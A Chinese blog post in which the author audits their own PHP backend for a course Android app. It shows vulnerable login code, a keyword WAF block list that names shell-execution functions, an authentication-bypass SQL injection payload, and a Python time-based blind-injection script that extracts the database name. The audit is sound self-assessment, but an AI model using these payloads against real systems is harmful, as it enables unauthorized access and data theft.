0%

一次安卓后端审计

上学期期末安卓设计的简单后端的审计

上学期期末安卓课程设计完成了安全辅助工具app,后端是用php写的,简单的实现了注册修改登录和一些命令执行的功能,对数据库的操作都是sql语句拼接的,虽然当时挂了网上找的防sql注入的waf并做了一些防命令注入的措施,但还是觉得不安全,想审计一下。

login.php关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$username = $_POST['username'];
$password = $_POST['password'];
//查询数据库
$query = "select * from user where UserName='$username' and Password='$password'"." limit 1";
$data1 = mysqli_query($conn, $query);

$row = mysqli_num_rows($data1);//返回的行数
$data = array();
if($row > 0){
$data["code"] = 1;
$data['message'] = "登录成功";
}else{
$data["code"] = 0;
$data['message'] = "登录失败";
}
echo json_encode($data,JSON_UNESCAPED_UNICODE);
//关闭数据库
mysqli_close($conn);

没有任何防护,但在auto_prepend_file里加了网上找的waf
waf关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
      $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
$pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|",$pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach($vpattern as $value){
foreach ($v as $kk => $vv) {
if (preg_match( "/$value/i", $vv )){
$bool = true;
logging($input);
break;
}
}
if($bool) break;
}
if($bool) break;
}
}
function logging($var){
//echo LOG_FILENAME;
echo "含有非法字符串";
file_put_contents(LOG_FILENAME, "================================"."\r\n".date("Y-m-d H:i:s")."\r\n".print_r($var, true), FILE_APPEND);
die();
# die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
}
waf();

过滤了很多关键字和引号,但没有过滤\,发现了一个sql注入导致的万能登录
username=1&password=|| (1=1) #
既然有了注入点就继续研究下,发现可以在绕过waf的情况下进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

import requests
import time
r=requests.session()
url='http://xxx.xxx.xxx.xxx/login.php'
result = ''
for i in range(1,8):
for j in range(37,128):
time1=time.time()
username = "username=1\\"
password="|| (1=1) && if(mid(database(),{0},1)={1},sleep(1),0);#".format(str(i),str(hex(j)))
print (username+'&'+password)
data = {"username":username,"password":password}
html = r.post(url,data=data,timeout=10)
time2=time.time()
if time2-time1>2 :
result += chr(j)
print (result)
break
print (result)

爆出数据库名testdb
但这里过滤了单引号,也没有其他可以直接执行sql语句的地方,没办法写马

另外一处可能存在命令注入的地方绕不过ip正则……